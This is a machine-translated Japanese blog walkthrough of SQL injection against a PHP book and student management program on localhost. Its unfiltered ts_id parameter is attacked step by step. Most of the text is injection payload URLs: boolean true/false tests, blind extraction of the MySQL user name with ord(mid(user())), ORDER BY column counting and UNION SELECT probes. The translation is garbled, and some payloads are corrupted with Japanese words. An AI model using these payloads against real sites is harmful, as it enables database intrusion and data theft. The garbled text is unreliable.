学校の外部教師が書いたプログラム、本+生徒管理システム、ファイル名 001.php、002.php、003.php…(Bにちなんで命名) 問題は004.phpの行です、私も忘れてました, < ;/a> 本のタイトル:この文に注目してください、ts_id にはフィルタリングがなく、裸で私たちが悪用するのを待っています、HOO~ (データベース内の情報はすべて知っていますが、ここではブラック ボックスでテストしたいと思っています) それでは始めましょう~http://localhost/zhd/004.php?ts_id=1と1=1正常http://localhost/zhd/004.php?ts_id=1と1=2異常馬鹿注入判定データベース: http://localhost/zhd/004.php?ts_id=1/*fenggou を送信します通常、データベースが /* コメントをサポートしていることを示します。どのデータベースが /* をサポートしているかを示します。マイSQL! ユーザー名を読み取ります: http://localhost/zhd/004.php?ts_id=1 および ord(mid(user(),1,1))=114/* を送信します 通常どおりに戻ります、user() は MYSQL です-in 関数はユーザーを表示するために使用されます。はい、114 は ACCSLL の「r」です。つまり、このステートメントは true です (このトリックを教えてください)。ユーザー名はrijncですが、騙されていませんか?したがって、http://localhost/zhd/004.php?ts_id=1 および ord(mid(user(),1,1))=111/* を送信するときは、http://localhost/zhd/004.php ?ts_id=1 および ord(mid(user(),1,1))=111/* ohttp://localhost/zhd/004.php?ts_id=1 および ord(mid(user(),1, 1))=116/* tしかし、パスワードが rootrijnc なら、私は言葉を失います...フィールドの数を判断します: http://localhost/zhd/004.php?ts_id=1 の順序を 10 ずつ送信します/*Failed, description フィールドの数が 10 未満の場合、ステートメント 7 が確立されるまで試行を続けます。これは、将来の結合クエリに非常に便利です。最初の 5 つです。 、次に 10、次に 15 と、範囲を少し狭めます。 ユニオン クエリ: フィールドの数がわかったら、それを http://localhost/zhd/004.php?ts_id=1 Union select 1 に直接送信します。 ,2,3,4,5,6,7/*普通に戻り、ユニオンがサポートされていることを示します。ステートメントを変更し、and 1=2 を使用してエラーを表示させます。へへ~~~http://を送信しますlocalhost/zhd/004.php?ts_id=1 および 1=2 結合選択 1,2,3,4 ,5,6,7/* http://www.bkjia.com/PHPjc/629814.htmlwww.bkjia.comtruehttp://www.bkjia.com/PHPjc/629814.html技術記事学校の外部教師が書いたプログラム、書籍+生徒管理システム、ファイル名 001.php、002.php、003.php... (Bにちなんで命名) 問題は004.phpの行です、私も忘れていました、td幅=118行...